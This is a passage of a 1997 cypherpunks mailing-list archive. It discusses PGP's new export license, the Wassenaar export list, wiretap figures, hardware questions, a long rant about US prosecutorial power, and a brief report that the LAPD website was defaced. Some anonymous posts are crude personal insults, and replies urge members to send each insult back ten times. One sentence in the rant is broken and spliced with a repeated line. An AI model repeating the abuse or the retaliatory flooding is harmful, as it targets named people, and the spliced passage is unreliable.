(Use your Crays, Delta, UNIXs, sync-ed Pentiums, mainframes, whatever. We
don't care.)

Regards,

DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mbm <mbm@autobahn.mb.ca>
Date: Thu, 29 May 1997 07:58:34 +0800
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <338CC107.432D@autobahn.mb.ca>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 29 May 1997 11:09:08 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: SSZ status
In-Reply-To: <199705290144.UAA00965@einstein.ssz.com>
Message-ID: <3.0.2.32.19970528195709.03d23620@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:39 PM 5/28/97 -0500, Igor Chudov @ home wrote:
>Jim Choate wrote:
>> 
>> SSZ seems to be stable since the power was restored where my ISP was
>> located. There should be no further service interruptions expected.
>> 
>
>It is hard to imagine a natural disaster that would ever bring the
>cypherpunks network down!

Supernova? ]:>


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 29 May 1997 11:14:57 +0800
To: cypherpunks@algebra.com
Subject: US grants export license for PGP
Message-ID: <Pine.3.89.9705281914.A17208-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40


PGP crypto approved for export
By Tim Clark and Alex Lash
May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
export license to one of the biggest thorns in its side.
Pretty Good Privacy says it has won approval to export strong encryption 
technology overseas. The license allows PGP to export technology up to 
128 bits; the government's regular licenses only allow up to 56 bits. To 
date, the government has only approved 128-bit encryption exports for 
technology that protects financial transactions but PGP technology can 
encrypt any kind of digital communication.
PGP was founded by cryptographer Phil Zimmermann. Zimmerman became 
something of a cause celebre when he posted his PGP technology on the Net 
in defiance of laws prohibiting international distribution of encryption 
technology. Zimmermann came close to going to jail before the government 
dropped its case against him.
The company said tonight that it counts more than half of Fortune 100 
companies use its email software.
PGP still has another old foe to worry about. Encryption software giant 
RSA Data Security earlier this month filed a patent infringement lawsuit 
against PGP. The suit alleged that PGP is unlawfully using RSA technology 
licensed to Lemcom before its merger with PGP in 1996. PGP officials say 
RSA's claims are without merit.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 29 May 1997 10:26:26 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ status
Message-ID: <199705290144.UAA00965@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

SSZ seems to be stable since the power was restored where my ISP was
located. There should be no further service interruptions expected.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 29 May 1997 12:40:40 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <3.0.2.32.19970528212753.006f6f5c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:04 PM 5/28/97 -0500, Igor Chudov @ home wrote:
>I have a question.
>
>Does it mean that a person can take a diskette with PGP and PGP keys
>with him or her for an overseas trip?

That has been legal for some time now. You are supposed to file a report,
though.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 10:55:03 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: SSZ status
In-Reply-To: <199705290144.UAA00965@einstein.ssz.com>
Message-ID: <199705290239.VAA03053@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> SSZ seems to be stable since the power was restored where my ISP was
> located. There should be no further service interruptions expected.
> 

It is hard to imagine a natural disaster that would ever bring the
cypherpunks network down!

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 11:17:54 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <199705290304.WAA03368@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I have a question.

Does it mean that a person can take a diskette with PGP and PGP keys
with him or her for an overseas trip?

igor

Lucky Green wrote:
> 
> http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40
> 
> 
> PGP crypto approved for export
> By Tim Clark and Alex Lash
> May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
> export license to one of the biggest thorns in its side.
> Pretty Good Privacy says it has won approval to export strong encryption 
> technology overseas. The license allows PGP to export technology up to 
> 128 bits; the government's regular licenses only allow up to 56 bits. To 
> date, the government has only approved 128-bit encryption exports for 
> technology that protects financial transactions but PGP technology can 
> encrypt any kind of digital communication.
> PGP was founded by cryptographer Phil Zimmermann. Zimmerman became 
> something of a cause celebre when he posted his PGP technology on the Net 
> in defiance of laws prohibiting international distribution of encryption 
> technology. Zimmermann came close to going to jail before the government 
> dropped its case against him.
> The company said tonight that it counts more than half of Fortune 100 
> companies use its email software.
> PGP still has another old foe to worry about. Encryption software giant 
> RSA Data Security earlier this month filed a patent infringement lawsuit 
> against PGP. The suit alleged that PGP is unlawfully using RSA technology 
> licensed to Lemcom before its merger with PGP in 1996. PGP officials say 
> RSA's claims are without merit.
> 
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 29 May 1997 13:33:50 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: PRNG
In-Reply-To: <199705280536.WAA28197@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970528231529.90840A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 27 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[unt] Mayonnaise carries a turd in his wallet for identification 
> purposes.
> 
>       /_/\/\
>       \_\  / Tim C[unt] Mayonnaise
>       /_/  \
>       \_\/\ \
>          \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Thu, 29 May 1997 12:31:26 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: Interesting Web Site for Data Protection
Message-ID: <Pine.ULT.3.95.970528231414.21442A-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I happened across this web site today.  I was kind of impressed with its
innovative approach, although I doubt I'd need these services.

http://www.atrieva.com/

Just FYI, in no way an endorsement or anything.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 2.2

iQCVAwUBM4zm+TokqlyVGmCFAQEnxwQAh/GfjR4lGi2rzFiJCj2dgpWtbYbXhf2O
7yAGdWt9d819xhOlLC7Zmcq3QS7WJhJOYuGyPEYZRX5hCR8cgoBo9cul9+tFyvVZ
KfQCUUV/rCVPEYBzLyDYrbPT8/IGbCGogvSqKKVlVKHGM8yscdf5Z/aC+nyEUGd4
WsivjiDVzMg=
=XqwC
-----END PGP SIGNATURE-----
 
Robert A. Hayden              hayden@krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 29 May 1997 11:38:26 +0800
To: cypherpunks@toad.com
Subject: motherboards with multiple CPUs
Message-ID: <199705290318.XAA27475@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


I am looking for a place to purchase a motherboard with several cpu
slots and a lot of memory. does any one know where one can find a good deal?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 12:43:17 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: US grants export license for PGP
In-Reply-To: <3.0.2.32.19970528212753.006f6f5c@netcom13.netcom.com>
Message-ID: <199705290429.XAA04042@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> 
> At 10:04 PM 5/28/97 -0500, Igor Chudov @ home wrote:
> >I have a question.
> >
> >Does it mean that a person can take a diskette with PGP and PGP keys
> >with him or her for an overseas trip?
> 
> That has been legal for some time now. You are supposed to file a report,
> though.

Interesting. What is that report?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 29 May 1997 12:18:24 +0800
To: shamrock@netcom.com>
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <338D010D.379F@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Does this mean PGP now, or soon will, supports GAK/Key Recovery?
Or is their something the article isn't saying?
sorrin
-- 
A picture tells a thousand words.
		Stego


     -----BEGIN GEEK CODE BLOCK-----
     Version: 3.1
     GCS/IT/S d--() s+: a-- C++++(++)$ ULS+++@ P++@ L+(++)$ E- W+(+++)$
     N++$ !o K-? w++(+++)$ !O+>++ !M !V PS+(+++)@ PE(++)@ Y++$ PGP@ t+@
     5++@ X++>$ R+++>$ tv+@ b+@ DI+++>$ D+++@>$ G@ e++@>++++ h r* y+ 
     ------END GEEK CODE BLOCK------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joey Grasty <jgrasty@gate.net>
Date: Thu, 29 May 1997 12:37:52 +0800
To: Lucky Green <cypherpunks@algebra.com
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <3.0.1.32.19970529002341.006ac818@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain


At 08:00 PM 5/28/97 -0700, Lucky Green wrote:
>http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40
>
>
>PGP crypto approved for export

Alright, what's the catch?  What kind of GAK does PGP have to
stick in to get this approval?  Encyphering minds want to know...

Regards,


--
Joey Grasty
jgrasty@gate.net [home -- encryption, privacy, RKBA and other hopeless causes]
"America is at that awkward stage. It is too late to work within the system, but
too early to shoot the bastards." -- Claire Wolfe
http://www.cyberpass.net/~winsock/
PGP (1536 bit) = 87 42 C9 FC 4F 8C 14 5D  31 A9 90 36 C4 F4 90 D9
PGP (768 bit) = A7 CC 31 E4 7E A3 36 13  93 F4 C9 06 89 51 F5 A7





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rui Guedes <RuiGuedes@mail.EUnet.pt>
Date: Thu, 29 May 1997 08:11:01 +0800
To: cypherpunks@toad.com
Subject: Pleeease help!
Message-ID: <338CC56F.55E3@mail.EUnet.pt>
MIME-Version: 1.0
Content-Type: text/plain


I am living in Portugal and use a PowerMacintosh.

Is there any way of using the wonderful Mixmaster mail system or any
other safe method?

Thanks in advance,
Rui Guedes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 17:19:40 +0800
To: cypherpunks@toad.com
Subject: Re: OECD attacks one of the Four Horsemen
Message-ID: <199705290857.BAA22086@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>There will be a "War on Porn" on the internet that will mirror the
>"War on Drugs" currently taking place. 

In financial, as well as freedoms, cost.

>All that the government wants is their piece of the action. Like
>drugs, the porn will always be available, but the price will 
>fluctuate according to the level of government control and/or
>illegality.

Yup. Like drugs, "intelligence" agencies will also get <ahem>
intimately involved, and then deny it, in a romantic tradition
dating back before language.

>The "War on Porn" will turn into another essential national industry
>which will become part of the GNP.

A negative part. Tax-spend. Spend-tax.

>The "winners" in this war will be the journalists who have covered
>the "War on Drugs" as they will merely have to dust off old stories
>and substitute "Porn" for "Drugs" wherever it occurs.

The real winners will also be in a strange quarter. The Playboys
and Penthouses of this world are concerned about profit, not
morality, but they will be perfectly willing to surreptitiously line
up with the Christian Coalition on this one. Strange bedfellows.

>The "loser" will be the Hoover Vacume Cleaner Company, whose development
>of Virtual Cathouse technology will fall victim to new legislation.

Old Woody Allen movies, anyone?
om













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Thu, 29 May 1997 20:24:21 +0800
To: beyondhope@2600.com
Subject: Los Angeles Police Department Web Site Hacked
Message-ID: <Pine.BSI.3.91.970529042929.15196A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



It was hacked late last night at http://www.lapd.org

I have it mirrored at http://www.dis.org/se7en


se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jack Flap" <jack_flap@hotmail.com>
Date: Thu, 29 May 1997 22:21:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 1996 Wiretap Report
Message-ID: <199705291406.HAA02256@f19.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric Blossom <eb@comsec.com> may have written:
> (2) In the past 11 years (1986 - 1996) a total of 9,912 intercept
>     applications were approved.  Of that number 5 (five!) were for
>     "Arson, explosives, and weapons."  Unless they've classified wiretaps
>     against "suspected terrorists" in the "Other" category, it looks
>     as if the LEOs don't think (targeted) wiretaps are useful for stopping
>     small groups of modestly skilled people bent on blowing things up. No 
Shit.

Hmmm. :-)

I guess the spook angle is to ensure that those are <cringe>well
targetted</cringe> wiretaps - targetting based on intelligence,
which is probably not the same as legal intercept...

Jack.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 29 May 1997 23:50:42 +0800
To: cypherpunks@toad.com
Subject: Re: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <2DTg8D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:

> I am looking for a place to purchase a motherboard with several cpu
> slots and a lot of memory. does any one know where one can find a good deal?

Please refrain from posting such off-topic messages to this mailing list.

PerryMonger
:-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Thu, 29 May 1997 21:20:41 +0800
To: jgrasty@gate.net
Subject: Re: US grants export license for PGP
In-Reply-To: <3.0.1.32.19970529002341.006ac818@pop.gate.net>
Message-ID: <199705291231.IAA17013@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Joey Grasty writes:
> At 08:00 PM 5/28/97 -0700, Lucky Green wrote:

> >PGP crypto approved for export
> 
> Alright, what's the catch?  What kind of GAK does PGP have to
> stick in to get this approval?  Encyphering minds want to know...

The catch is that the license only extends to business use by
subsidiaries of certain large US corporations.

See PGPInc's press release at: http://www.pgp.com/newsroom/prel34.cgi

It may be moot since some versions of PGP are available around the
world, but this strikes me as patently unfair to all those companies
not big enough to be on The List.

On the other hand, maybe this is the beginning of the end.  It seems
to me that it will be difficult now to deny a similar license to 
Netscape or Microsoft or...


-- Jeff (currently employed by a Real Company :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 29 May 1997 21:47:19 +0800
To: cypherpunks@toad.com
Subject: The Wassenaar Arrangment
Message-ID: <1.5.4.32.19970529131919.006e87d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Greg Broiles's FOIA effort and Lucky Green, 
we offer the first US public release of:

   The Wassenaar Arrangement - 
   List of Dual Use-Goods and Technologies 
   and Munitions List, July 1996

   http://jya.com/wa/watoc.htm

This is the 200-page document Greg previously
announced here which lists in minute detail the
wide range of goods and technologies to be restricted 
by arms and trade export controls.

The Wassenaar Arrangement succeeds COCOM as
the arms control regime signed by 33 nations.

Cryptography is covered in Category 5 - Part 2:

   http://jya.com/wa/wacat52.htm

Which may be compared to the Australian version:

   http://jya.com/aucat_5.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger.tm@dev.null
Date: Fri, 30 May 1997 00:46:14 +0800
To: cypherpunks@toad.com
Subject: There's something wrong when I'm a felon under an increasing number of
Message-ID: <199705291623.KAA00762@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

 

There's something wrong when I'm a felon under an increasing number of

laws.

Only one response to the key grabbers is warranted: "Death to Tyrants!"

---------:---------:---------:---------:---------:---------:---------:----

Timothy C. May              | Crypto Anarchy: encryption, digital money,

tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,

zero

W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information

markets,

Higher Power: 2^1398269     | black markets, collapse of governments.

"National borders aren't even speed bumps on the information

superhighway."



  Tim's new sig-line gives recognition to one of what I consider to be

the two main reasons that Democracy and Justice can now be considered

a part of America's historical past.



  A major nail in the coffin of Justice for any accused in the U.S.

was when the justice system promoted the concept of guilt by virtue

of "circumstantial" evidence to the point where people can now be

convicted as a result of speculation rather than evidence. Prosecutors

now seem to need only to convince the sheeple that it was "possible"

for the defendant to have commited the crime and that circumstantial

evidence points *only* to the accused.

  As well, the justice system only allows the government prosecutors

to indulge in "speculation" and denies the defense the opportunity

to do the same. The McVeigh prosecutors are allowed to put on a key

witness who has openly stated that he's going to get rich by telling

fables, yet the defense's witnesses are barred from testifying

because the judge declares their testimony to be unreliable and

the defense's planned defence to be based on speculation.



  Now that this nail has been driven home, the only thing standing 

between the average citizen and random or targeted unjust imprisonment 

is a cause of action for the government to proceed on. Tim C. May's

sig-line eloquently points out that the black-robed magicians of the

justice system now have enough cards strategically put in place to

be able to pull an Ace of Subpoena's seemingly out of thin air.

  If a perfectly normal, average grandmother/citizen can be threatened

with imprisonment for putting money in someone else's parking meter

then, pray tell, which action of the average citizen *cannot* be used

to imprison him or her?

  The Pandora's box of laws, regulations and "perceived possibilty of

illegality" (probable cause) leaves each of us open to random or

targeted search, seizure, arrest and imprisonment not only for laws

and crimes which actually exist, but also for those which can be

deduced by "speculation" as to the "possibility" of our having had

an "intent" to do something illegal.

  (Twenty years ago I called my lawyer at four a.m. and he asked me

what charge the police were using to hold me. I told him, "I think

the charge is 'Suspicion of being in jail.'" He laughed and said,

"They may *have* you on this one, Bubba." Back then it was a joke,

but I fear that today it reflects reality.)



  A grandmother in the midwest U.S. plugs someone else's parking meter

and faces prosecution and interrogation. She mentions she was on her

way to pick up paint for a shed being built in her back yard. It turns

out she has no permit to build a shed on her property. The zoning

official who inspects her house for further malefeasance sees a gun

(hunting rifle) in a closet and a line of a white, powdery substance

(roach poison) on a kitchen counter. Police search the house and seize

the computer as evidence. The woman's son has his cypherpunks list

messages on the computer, including Jim Bell's AP/IRS posts.

  What was the woman doing in plugging someone else's parking meter?

She was attempting to prevent the government from collecting money

from a citizen by way of a fine for not paying his/her parking tax.

Her proven "link" to Jim Bell, terrorist and tax protestor, can be

seen as evidence of a "conspiracy." (The question now becomes one

of whether she will testify against Bell in return for a reduction in

her charges, or whether he will do so against her.)



  If you consider the above to be in the least far-fetched then you

have little understanding of the working of our present-day justice

system. If you consider the above to be an unlikely scenario even if

the woman was being *targeted* for prosecution then you are totally

out of touch with the reality of the current state of the justice

system in America.



There's something wrong when I'm a felon under an increasing number of

laws.



  No matter how much anyone attempts to minimize or justify Tim C. May's

statement, it is undeniable that the government currently has virtually 

unlimited power to accuse, convict and imprison its citizens.

  The IRS is the prime example of this fact. It has long been a known

fact, admitted even by IRS officials, that it is impossible for any

citizen to completely comply with the country's tax laws over a period

of years. What is even more disturbing is that interpretation of the

tax laws lies largely in the hands of the IRS, not in the justice

system.

  Add to this the fact that despite having acted in accordance with the 

legal judgement of an army of tax attorneys, the guilt of any "crime"

falls on the citizen and we are all potential felons. Not only this, but

with the plethora of legislation covering every aspect of our activity

in our private lives and in our interactions with society, most of us

are likely guilty of a multitude of potential felonies.



  Of course, only *bad* people have reason to be fearful, right? Only

those who cause *trouble* need fear being *targeted* for prosecution,

right? This is of no concern to the average citizen, such as yourself,

right?

  Right. As long as you watch what you do and say so that you give the

government no reason to label you as a troublemaker, then you have no

reason to fear. As long as you make certain that you have nothing in

your life that can even give the "appearance" of connecting you to the

*bad* people, you will be safe from government persecution.

  The price to pay for guaranteeing your freedom is small. Quit hunting

and sell your guns. Get rid of white, powdery substances such as roach

poison, sugar, flour. Never fail to signal for a turn. Always wear

your seat belt and drive 55 mp/h. Never wear jeans or pay cash for an

airline ticket. Never read "The Turner Diaries" or "Assassination

Politics."

  Which reminds me...

  Unsubscribe from the cypherpunks list, physically destroy your 

computer and never chew gum in a courtroom. (Twenty-four hours in

jail for contempt of court in Phoenix, Arizona.)



  Now that you remain at home and have no contact with the outside

world except to meet all of your legislatively mandated requirements

as a citizen the only thing you need to fear is what the government

*already* has that they can use against you if you become a "target"

of prosecution.



  Cynical? Moi?

  1984 came and went with society by and large dismissing the book, 

"1984," as having been realized in actuality. I was mystified as to

how anyone, let alone nearly everyone, could fail to recognize that

the seeds had already been planted to bring to fruitation almost every

concept of Big Brother that was focused upon in the work.

  I believe that any rational person can see, in retrospect, that Big

Brother was already a fact of life by then. However, it was of no 

concern to most of us because not only did it did not negatively impact

us personally, but also because the arising fascist/police state/society

seemed to have little potential to do perswrong when I'm a felon under an increasing number of

laws.

  When cops are acquitted of beating a citizen, then if they are still

"targets" the government can charge them with violating the citizen's

civil rights. When O.J. Simpson is acquitted and is still a target, then

a jury of middle-Americans can break him under another set of laws.

  When the government fails to convict Declan for terrorism because of

something he has written about Jim Bell's prosecution, then they can

charge him with tax evasion for the deductions he has taken for

business expenses when writing is only a "hobby" he has used to

commit tax fraud. {The justice system will look to the IRS for the

proper interpretation of Section 20098.6, Subsection AF488GC, which

states "Writing is Declan's employment, not just a hobby." Their 

interpretation will result in a conviction.}



  The government has stacked all the dice in favour of themself and

against the citizen. If they can't successfully persecute/prosecute

the citizen under "this" law, they will try again under "that" law.

If they still fail to get a conviction, they can prosecute under

yet another law and drag the case out to the point it financially

breaks the citizen.

  If the citizen gets a large measure of financial and legal support,

as in the case of Phil Zimmerman, they may survive. If not, they are

"toast" in a very short period of time.



There's something wrong when I'm a felon under an increasing number of

laws.

  In 1984, "1984" had become a reality for "them."

  Now it is a reality for "us."



TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 30 May 1997 00:53:40 +0800
To: cypherpunks@toad.com
Subject: Re: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <199705291633.LAA18694@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705290318.XAA27475@dhp.com>, on 05/28/97 
   at 11:18 PM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>I am looking for a place to purchase a motherboard with several cpu slots
>and a lot of memory. does any one know where one can find a good deal?


I would check out AMI's site at http://www.ami.com

I have always had good luck with their MoBo's and they are tested on all
major OS's before they go into production.

Last time I talked to Intell they refused to sell me multi-processor
motherboards. I was informed that to purchase a multi-processor
motherboard I would have to buy an entire server from them!! What I told
the sales drone on the other end is left as an exercise to the reader.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Dos: Venerable.  Windows: Vulnerable.  OS/2: Viable.

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM42w+o9Co1n+aLhhAQG6SwQAuw6C5E/VEkeCLoHWQcd4/Oj4wvLaR+Xx
lDQcMRwCdaIlPJBCni3MJilanjFN81g51c74bocdkElLGXzdlyKVDszQMdjyTnjj
tX/QxTAluj/HV2lbvloWq2KMPVTMWxA3/XiQdsiEyaR8bv1+upe9LNJqtg22yYCM
rlzPHwDVV6s=
=o7Gn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 29 May 1997 23:50:28 +0800
To: ichudov@algebra.com
Subject: Re: US grants export license for PGP
In-Reply-To: <199705290304.WAA03368@manifold.algebra.com>
Message-ID: <Pine.LNX.3.91.970529110416.532C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > PGP crypto approved for export
> > By Tim Clark and Alex Lash
> > May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
> > export license to one of the biggest thorns in its side.
> > Pretty Good Privacy says it has won approval to export strong encryption 
> > technology overseas. The license allows PGP to export technology up to 
> > 128 bits; the government's regular licenses only allow up to 56 bits. To 
> > date, the government has only approved 128-bit encryption exports for 
> > technology that protects financial transactions but PGP technology can 
> > encrypt any kind of digital communication.

Does this agreement have a GAK clause???

Even if it does not, with the new structure of PGP they are not going to 
be releasing source code for future products so it is likely they are 
hoping the average paeon who won`t reverse engineer the executable won`t 
realise they have zeroed 72 bits of the key <g>, or are using a reduced 
round variant of some strong cipher, to give the impression of strength.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 29 May 1997 23:38:00 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <Pine.LNX.3.91.970529111121.532D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I am looking for a place to purchase a motherboard with several cpu
> slots and a lot of memory. does any one know where one can find a good deal?

Go to www.intel.com and search for "1800 node paragon", I`m sure they can 
do you a good deal ;-)..........

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 30 May 1997 01:50:53 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [CRYPTO] Zero-knowledge commit
In-Reply-To: <199705291123.NAA10881@basement.replay.com>
Message-ID: <Pine.A41.3.95.970529112842.48298C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 29 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy `C' May proves that the Midwestern gene pool needs some chlorine in it.
> 
>             <<<<
>            o(0-0)o
>         -ooO-(_) Ooo-- Timmy `C' May
> 

